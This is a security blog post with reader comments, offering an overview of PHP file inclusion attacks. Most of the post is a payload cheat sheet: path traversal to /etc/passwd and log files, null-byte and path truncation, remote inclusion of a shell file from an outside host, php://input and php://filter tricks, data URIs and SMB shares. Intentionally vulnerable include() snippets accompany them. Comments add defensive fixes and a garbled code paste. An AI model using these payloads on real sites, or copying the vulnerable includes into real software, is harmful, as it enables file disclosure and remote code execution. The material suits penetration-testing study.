Exploiting PHP File Inclusion – Overview

Recently I see a lot of questions regarding PHP File Inclusions and the possibilities you have. So I decided to give a small overview. All the tricks have been described in detail somewhere earlier, but I like it to have them summed up at one place.

Basic Local File Inclusion:

<?php include("inc/" . $_GET['file']); ?>
  • Including files in the same directory:
    ?file=.htaccess
  • Path Traversal:
    ?file=../../../../../../../../../var/lib/locate.db
    (this file is very interesting because it lets you search the filesystem, other files)
  • Including injected PHP code:
    ?file=../../../../../../../../../var/log/apache/error.log

    Limited Local File Inclusion:

    <?php include("inc/" . $_GET['file'] . ".htm"); ?>
    • Null Byte Injection:
      ?file=../../../../../../../../../etc/passwd%00
      (requires magic_quotes_gpc=off)
    • Directory Listing with Null Byte Injection:
      ?file=../../../../../../../../../var/www/accounts/%00
      (UFS filesystem only, requires magic_quotes_gpc=off, more details here)
    • Path Truncation:
      ?file=../../../../../../../../../etc/passwd.\.\.\.\.\.\.\.\.\.\.\ …
      (more details see here and here)
    • Dot Truncation:
      ?file=../../../../../../../../../etc/passwd……………. …
      (Windows only, more details here)
    • Reverse Path Truncation:
      ?file=../../../../ […] ../../../../../etc/passwd
      (more details here)

    Basic Remote File Inclusion

    <?php include($_GET['file']); ?>
    • Including Remote Code:
      ?file=[http|https|ftp]://websec.wordpress.com/shell.txt
      (requires allow_url_fopen=On and allow_url_include=On)
    • Using PHP stream php://input:
      ?file=php://input
      (specify your payload in the POST parameters, watch urlencoding, details here, requires allow_url_include=On)
    • Using PHP stream php://filter:
      ?file=php://filter/convert.base64-encode/resource=index.php
      (lets you read PHP source because it wont get evaluated in base64. More details here and here)

    • Using data URIs:
      ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
      (requires allow_url_include=On)
    • Using XSS:
      ?file=http://127.0.0.1/path/xss.php?xss=phpcode
      (makes sense if firewalled or only whitelisted domains allowed)

    Limited Remote File Inclusion

    <?php include($_GET['file'] . ".htm"); ?>
    • ?file=https://websec.wordpress.com/shell
    • ?file=https://websec.wordpress.com/shell.txt?
    • ?file=https://websec.wordpress.com/shell.txt%23
    • (requires allow_url_fopen=On and allow_url_include=On)

    • ?file=\\evilshare\shell.php
    • (bypasses allow_url_fopen=Off)

    Static Remote File Inclusion:

    <?php include("http://192.168.1.10/config.php"); ?>
    • Man In The Middle
      (lame indeed, but often forgotten)

    Filter evasion

    • Access files with wildcards (read more here)

    Of course you can combine all the tricks. If you are aware of any other or interesting files to include please leave a comment and I’ll add them.

23 Responses to Exploiting PHP File Inclusion – Overview

  1. DiabloHorn says:

    Hi,

    nice list of inclusion methods. For the local file inclusion you can also use the php://filter method. This usually works when php://input doesn’t. It’s used like this:

    http://www.somesite.com/in.php?page=php://filter/convert.base64-encode/resource=in.php

    It’s a nice trick to for example audit the source code to find other more promising bugs. I’ve explained it in a little bit more detail over here:

    http://diablohorn.wordpress.com/2010/01/16/interesting-local-file-inclusion-method/

    DiabloHorn

  2. Reiners says:

    Hi DiabloHorn,

    very nice, thanks, I totally forgot about that one. I added it to RFI though, because it only works with that vulnerability of course, but thats all a matter of definition.

    thanks,
    Reiners

  3. felix says:

    nice writeup, thanks

  4. eslimasec says:

    Hi Reiner, we just included your tricks into our tool definitions file. greets!

  5. Reiners says:

    added http://gynvael.coldwind.pl/?id=376 (PHP LFI to arbitratry code execution via rfc1867 file upload temporary files)

  6. ianth says:

    thanks for the command explore simple and help

  7. ganado says:

    thx for useful tips !
    but how can i truncating “.php” with magic_quotes_gpc options, which php version over 5.30 on Linux ? any ideas ?

  8. When I started building websites 3 years ago I was using php 4 with allow_url_fopen on by default on my windows server 2003. With that said, I have designed and programmed over 100 php websites of which all of them using this php inculde here:
    for all my headers and bottom navigations menus.

    Since then this PHP include Security risk came about and now they changed that rule “allow_url_fopen” to be off by default to close this risk which would render my original php include line of code useless and only pull a error. However, I have researched and found the following code would work fine Would this fix the exploit? Also, My issue is, I do not want to go over every website created and make the include code change to over a 1000 locations, so im wondering if there are any other fixes? Maybe by adding a rule in the .htaccess?
    Maybe something like this: RewriteRule index\.php?(?!id|altid|DataSet1_currentPage).+ /404.php [I,RP,L]

    Thanks you

    • Reiners says:

      hi,
      unfortunetly your codes seem to be stripped away by wordpress, sry for that. Could you repost them without the php tags at the beginning and end?
      cheers,
      Reiners

      • jesse says:

        100 php websites of which all of them using this php inculde here:
        php include (“http://www.mysite.com/example.php”)

        I have researched and found the following code would work fine
        php $includeFile = file_get_contents(“http://www.mysite.com/example.php”); echo $includeFile;

        Does this work?

      • Reiners says:

        hm this is pretty ugly but it works if mysite.com parses php. then the first example is the same as the second with some considerations:
        in the first example MITM attacks allows an attacker to execute arbitrary php code on your webserver. also, if someone finds a flaw in mysite.com, he is able to execute php code on your server. this can be done by modifying example.php or finding a persistent XSS in example.php in example. that is because every plain php code fetched from example.php (that is not parsed by mysite.com but only printed) is evaluated by include(). if there is no php code, this will be the same as your second example: non php code will be just embedded to your site. however this also includes malicious javascript/html in example which is embedded to mysite.com.
        so the second example is more secure than the first but still not best practice. why dont you just copy the code you want to use from mysite.com or run example.php on your other server?

      • jesse says:

        http://www.tappingmachines.com/index.php?page=http://www.2lbin.com/
        this errored to my 404 page.

        right now im taking advantage of that rewrite rule in my .htaccess file so im hoping this could be my fix…

        did this help answer your question?

  9. jesse says:

    This is one of my examples i thought id disclose so i can make sure we are on the same page… thanks for the quick responses by the way…

  10. Reiners says:

    search for the PHDays 2012 slides “On secure application of PHP wrappers” by Aleksey Moskvin

  11. Jubileu says:

    The better way that i found was creating an array having the allowed files, like this:
    $allow = array(‘link1.php’, ‘link2.php’ );
    if(isset($_GET[‘page’]) AND (array_search($_GET[‘page’],$allow) !== false)){
    $file = $_GET[‘page’];
    }else{
    $file = “default.php”;
    }
    include(“$file”);

    If someone find a vulnerability in the code, tell me. ;D

  12. Secer says:

    that’s nice!

  13. Pieter says:

    Hello Reiners,

    Nice overview. I think the tricks regarding “Including injected PHP code” could be edited to contain files created using INTO OUTFILE with an SQL injection. It’s got a big precondition, but so do some of the other tricks. 🙂

  14. Domainz Guru says:

    Hi,
    I have a dedicated linux machine and have pyxsoft anti malware installed. Recently the scanner detected php.console.evasion.1 trojan on one of the account.

    Below is the code, and I dont find anything suspicious however the antimalware still detects it a threat.

    debug(“Entering RelatedListViewSession() method …”);

    $this->module = $currentModule;
    $this->start =1;
    }

    public static function addRelatedModuleToSession($relationId, $header) {
    global $currentModule;
    $_SESSION[‘relatedlist’][$currentModule][$relationId] = $header;
    $start = RelatedListViewSession::getRequestStartPage();
    RelatedListViewSession::saveRelatedModuleStartPage($relationId, $start);
    }

    public static function removeRelatedModuleFromSession($relationId, $header) {
    global $currentModule;

    unset($_SESSION[‘relatedlist’][$currentModule][$relationId]);
    }

    public static function getRelatedModulesFromSession() {
    global $currentModule;

    $allRelatedModuleList = isPresentRelatedLists($currentModule);
    $moduleList = array();
    if(is_array($_SESSION[‘relatedlist’][$currentModule])){
    foreach ($allRelatedModuleList as $relationId=>$label) {
    if(array_key_exists($relationId, $_SESSION[‘relatedlist’][$currentModule])){
    $moduleList[] = $_SESSION[‘relatedlist’][$currentModule][$relationId];
    }
    }
    }
    return $moduleList;
    }

    public static function saveRelatedModuleStartPage($relationId, $start) {
    global $currentModule;

    $_SESSION[‘rlvs’][$currentModule][$relationId][‘start’] = $start;
    }

    public static function getCurrentPage($relationId) {
    global $currentModule;

    if(!empty($_SESSION[‘rlvs’][$currentModule][$relationId][‘start’])){
    return $_SESSION[‘rlvs’][$currentModule][$relationId][‘start’];
    }
    return 1;
    }

    public static function getRequestStartPage(){
    $start = $_REQUEST[‘start’];
    if(!is_numeric($start)){
    $start = 1;
    }
    if($start query( Vtiger_Functions::mkCountQuery( $query));
    $noofrows = $adb->query_result($count_result,0,”count”);
    if($noofrows > 0){
    $start = ceil($noofrows/$list_max_entries_per_page);
    }
    }
    if(!is_numeric($start)){
    $start = 1;
    }elseif($start

    Please suggest.

    Thanks,
    Rauf

Leave a comment